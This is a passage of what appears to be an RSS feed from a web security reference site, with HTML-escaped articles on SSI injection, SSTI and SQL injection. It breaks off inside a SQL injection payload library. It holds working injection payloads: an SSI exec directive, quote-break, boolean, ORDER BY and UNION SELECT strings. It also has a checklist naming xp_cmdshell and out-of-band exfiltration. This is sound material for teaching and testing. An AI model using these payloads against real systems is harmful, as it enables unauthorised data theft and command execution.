          &lt;td&gt;strip_tags / regex replace&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;&amp;lt;&lt;/code&gt; → &lt;code&gt;%3C&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;URL encode&lt;/td&gt;
          &lt;td&gt;URL filter on reflected param&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;unchanged&lt;/td&gt;
          &lt;td&gt;Nothing&lt;/td&gt;
          &lt;td&gt;Vulnerable directly&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Encoding layers in a real app:&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Server-Side Includes (SSI) Injection</title>
      <link>https://az0th.it/web/input/009-input-ssi-injection/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/009-input-ssi-injection/</guid>
      <description>&lt;h1 id=&#34;server-side-includes-ssi-injection&#34;&gt;Server-Side Includes (SSI) Injection&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High–Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-97
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-ssi-injection&#34;&gt;What Is SSI Injection?&lt;/h2&gt;
&lt;p&gt;Server-Side Includes are directives embedded in HTML files that the web server processes before sending the response. When user input is reflected in &lt;code&gt;.shtml&lt;/code&gt;, &lt;code&gt;.shtm&lt;/code&gt;, &lt;code&gt;.stm&lt;/code&gt;, or SSI-enabled pages without sanitization, injected directives execute with web-server privileges.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Apache SSI directive syntax: &amp;lt;!--#directive param=&amp;#34;value&amp;#34; --&amp;gt;
IIS SSI directive syntax:    &amp;lt;!--#include file=&amp;#34;...&amp;#34; --&amp;gt;

Injected: &amp;lt;!--#exec cmd=&amp;#34;id&amp;#34; --&amp;gt; → server executes &amp;#39;id&amp;#39; and includes output
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;SSI is &lt;strong&gt;underrated&lt;/strong&gt; in modern apps because:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Server-Side Template Injection (SSTI)</title>
      <link>https://az0th.it/web/input/007-input-ssti/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/007-input-ssti/</guid>
      <description>&lt;h1 id=&#34;server-side-template-injection-ssti&#34;&gt;Server-Side Template Injection (SSTI)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical
&lt;strong&gt;CWE&lt;/strong&gt;: CWE-94
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-ssti&#34;&gt;What Is SSTI?&lt;/h2&gt;
&lt;p&gt;Server-Side Template Injection occurs when user input is embedded &lt;strong&gt;unsanitized into a template that is then rendered server-side&lt;/strong&gt;. Unlike XSS (where input is reflected in HTML), SSTI input is processed by the template engine itself — meaning arbitrary expressions, object traversal, and in most cases, &lt;strong&gt;OS command execution&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The severity is almost always critical: most template engines provide access to the underlying language runtime, and sandbox escapes are well-documented for every major engine.&lt;/p&gt;</description>
    </item>
    <item>
      <title>SQL Injection (SQLi)</title>
      <link>https://az0th.it/web/input/001-input-sqli/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/001-input-sqli/</guid>
      <description>&lt;h1 id=&#34;sql-injection-sqli&#34;&gt;SQL Injection (SQLi)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical
&lt;strong&gt;CWE&lt;/strong&gt;: CWE-89
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-sql-injection&#34;&gt;What Is SQL Injection?&lt;/h2&gt;
&lt;p&gt;SQL Injection occurs when user-supplied data is embedded into a SQL query without proper sanitization, allowing an attacker to manipulate the query&amp;rsquo;s logic. The impact ranges from authentication bypass to full database dump, file read/write, and OS command execution — depending on the database engine and configuration.&lt;/p&gt;
&lt;h3 id=&#34;injection-classes-at-a-glance&#34;&gt;Injection Classes at a Glance&lt;/h3&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Type&lt;/th&gt;
          &lt;th&gt;Data Returned&lt;/th&gt;
          &lt;th&gt;Detection&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Error-based&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Error messages reveal DB info&lt;/td&gt;
          &lt;td&gt;Syntax errors visible in response&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Union-based&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Data returned in response body&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;ORDER BY&lt;/code&gt; / &lt;code&gt;UNION&lt;/code&gt; technique&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Boolean-based blind&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;True/False behavioral difference&lt;/td&gt;
          &lt;td&gt;Response size or content change&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Time-based blind&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;No output — only timing&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;SLEEP()&lt;/code&gt; / &lt;code&gt;WAITFOR DELAY&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Out-of-Band (OOB)&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;DNS/HTTP exfiltration&lt;/td&gt;
          &lt;td&gt;Collaborator / interactsh&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Second-order&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Payload stored, executed later&lt;/td&gt;
          &lt;td&gt;Multi-step flows&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Stacked queries&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Execute multiple statements&lt;/td&gt;
          &lt;td&gt;Depends on DB driver support&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id=&#34;attack-surface-map&#34;&gt;Attack Surface Map&lt;/h2&gt;
&lt;h3 id=&#34;entry-points-to-test&#34;&gt;Entry Points to Test&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# URL parameters:
/items?id=1
/search?q=admin
/user?name=john&amp;amp;sort=id

# POST body (form, JSON, XML):
{&amp;#34;username&amp;#34;:&amp;#34;admin&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;pass&amp;#34;}
username=admin&amp;amp;password=pass

# HTTP headers:
User-Agent: Mozilla/5.0
Referer: https://site.com/page
X-Forwarded-For: 127.0.0.1
Cookie: session=abc; user_id=1
X-Custom-Header: value

# REST paths:
/api/users/1
/api/product/electronics/laptop

# Search &amp;amp; filter fields
# Order/sort parameters
# Pagination: limit, offset, page
# File names in download endpoints
# GraphQL variables that hit SQL backend
# XML / SOAP bodies
# WebSocket messages
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;discovery-checklist&#34;&gt;Discovery Checklist&lt;/h2&gt;
&lt;h3 id=&#34;phase-1--passive-identification&#34;&gt;Phase 1 — Passive Identification&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Map all parameters that interact with the server (URL, body, headers, cookies)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Identify parameters that clearly reflect data from a database (user info, products, results)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Note parameters used for filtering, ordering, searching, or paginating&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check if numeric parameters can be replaced with expressions (&lt;code&gt;1+1&lt;/code&gt;, &lt;code&gt;2-1&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Identify multi-step flows where input stored in step 1 is used in a query in step 2 (second-order)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Review JavaScript for client-side constructed query strings sent to API&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Look for verbose error messages (stack traces, DB errors, query fragments)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;phase-2--active-detection&#34;&gt;Phase 2 — Active Detection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Inject a single quote &lt;code&gt;&#39;&lt;/code&gt; — observe error vs no error&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Inject &lt;code&gt;&#39;&#39;&lt;/code&gt; (escaped quote) — does the response return to normal?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Inject &lt;code&gt;1 AND 1=1&lt;/code&gt; vs &lt;code&gt;1 AND 1=2&lt;/code&gt; — boolean difference?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Inject &lt;code&gt;1 OR 1=1&lt;/code&gt; — does result set expand?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Inject &lt;code&gt;1; SELECT SLEEP(5)&lt;/code&gt; — does response delay?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Inject comment sequences: &lt;code&gt;--&lt;/code&gt;, &lt;code&gt;#&lt;/code&gt;, &lt;code&gt;/**/&lt;/code&gt;, &lt;code&gt;/*!*/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Try numeric context: &lt;code&gt;1+1&lt;/code&gt; returns same as &lt;code&gt;2&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Inject &lt;code&gt;ORDER BY 1&lt;/code&gt;, &lt;code&gt;ORDER BY 100&lt;/code&gt; — error on high number reveals column count&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Try &lt;code&gt;UNION SELECT NULL&lt;/code&gt; with increasing NULLs until no error&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test string context: &lt;code&gt;&#39; OR &#39;1&#39;=&#39;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test time-based in all parameters including headers and cookies&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;phase-3--confirm--escalate&#34;&gt;Phase 3 — Confirm &amp;amp; Escalate&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Determine injectable context (string, numeric, identifier)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Determine database engine (error messages, behavior, functions)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Find column count via &lt;code&gt;ORDER BY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Find printable columns via &lt;code&gt;UNION SELECT NULL,NULL,...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Extract DB version, current user, current database&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Enumerate databases → tables → columns → data&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check for FILE privileges (MySQL: &lt;code&gt;LOAD_FILE&lt;/code&gt;, &lt;code&gt;INTO OUTFILE&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check for xp_cmdshell (MSSQL)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test OOB exfiltration (DNS via &lt;code&gt;load_file&lt;/code&gt;, &lt;code&gt;UTL_HTTP&lt;/code&gt;, &lt;code&gt;xp_dirtree&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test stacked queries for write/exec capabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&#34;payload-library&#34;&gt;Payload Library&lt;/h2&gt;
&lt;h3 id=&#34;section-1--detection--syntax-break&#34;&gt;Section 1 — Detection &amp;amp; Syntax Break&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Basic quote injection:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;))
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Comment terminators:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; --
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; /*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/**/&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/*!--*/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Numeric context:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;1 AND 1=1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;1 AND 1=2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;1 OR 1=1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;1 OR 1=2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Always-true / always-false:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;OR&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;OR&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;OR&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; OR 1=2--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Expression injection (confirms evaluation):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;1+1          -- should behave like 2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;1*1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;9-8
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Nested quotes:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;||&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;section-2--column-count-order-by&#34;&gt;Section 2 — Column Count (ORDER BY)&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--          -- triggers error when &amp;gt; actual column count
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;ASC&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;DESC&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- With URL encoding:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; ORDER BY 1--          -- standard
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;23&lt;/span&gt;         &lt;span style=&#34;color:#75715e&#34;&gt;-- # encoded
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; ORDER BY 1%2f%2a      -- /* encoded
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;section-3--union-based-extraction&#34;&gt;Section 3 — Union-Based Extraction&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Find number of columns (increase NULLs until no error):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL,NULL,NULL--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
